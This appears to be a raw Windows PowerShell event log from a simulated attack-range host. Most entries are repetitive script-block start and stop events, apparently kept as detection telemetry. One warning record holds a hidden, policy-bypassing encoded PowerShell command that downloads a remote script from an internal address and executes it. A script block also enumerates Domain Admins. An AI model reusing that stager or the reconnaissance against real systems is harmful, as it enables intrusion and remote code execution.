Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051068
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051170
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051169
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051168
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051167
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051166
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051165
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051164
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051163
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051162
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051161
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051160
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051159
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051158
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051157
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051156
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051155
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051154
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4100
EventType=3
Type=Warning
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when an exception is raised
RecordNumber=2051153
Keywords=None
Message=Error Message = The term 'Get-DomainGroupMemberMember' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
Fully Qualified Error ID = CommandNotFoundException,Microsoft.PowerShell.Commands.InvokeExpressionCommand


Context:
        Severity = Warning
        Host Name = ConsoleHost
        Host Version = 5.1.14393.4402
        Host ID = 5bf2fc48-81e2-439b-a9b9-31d6e67ada67
        Host Application = powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAkAHQAcgB1AGUAfQA7ACQATQBTAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AMQAwAC4AMAAuADEALgAxADYALwBiAGgALwBzAHkAbgBjAC8AYQBvAGwALwBfAHIAcAAnACkAKQApADsASQBFAFgAIAAkAE0AUwA=
        Engine Version = 5.1.14393.4402
        Runspace ID = c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
        Pipeline ID = 1
        Command Name = Invoke-Expression
        Command Type = Cmdlet
        Script Name = 
        Command Path = 
        Sequence Number = 19
        User = ATTACKRANGE\reed_schmidt
        Connected User = 
        Shell ID = Microsoft.PowerShell


User Data:
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051152
Keywords=None
Message=Completed invocation of ScriptBlock ID: bf225366-1b54-4faa-bb46-e177427e42a8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051151
Keywords=None
Message=Started invocation of ScriptBlock ID: bf225366-1b54-4faa-bb46-e177427e42a8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051150
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Get-DomainGroupMemberMember -GroupName "Domain Admins"

ScriptBlock ID: bf225366-1b54-4faa-bb46-e177427e42a8
Path:
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051148
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051146
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051145
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051144
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051143
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051142
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051141
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051140
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051139
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051138
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051137
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051136
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051135
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051134
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051133
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051132
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051131
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051130
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 852c5173-36b9-40a2-872e-b59c72ede01d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051128
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2f7d29ca-0472-4e2e-9fce-5337c570a2c9
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051127
Keywords=None
Message=Started invocation of ScriptBlock ID: 2f7d29ca-0472-4e2e-9fce-5337c570a2c9
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051126
Keywords=None
Message=Completed invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051125
Keywords=None
Message=Started invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051124
Keywords=None
Message=Completed invocation of ScriptBlock ID: a84edbfb-9593-4068-bf0c-8004f08c33cd
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
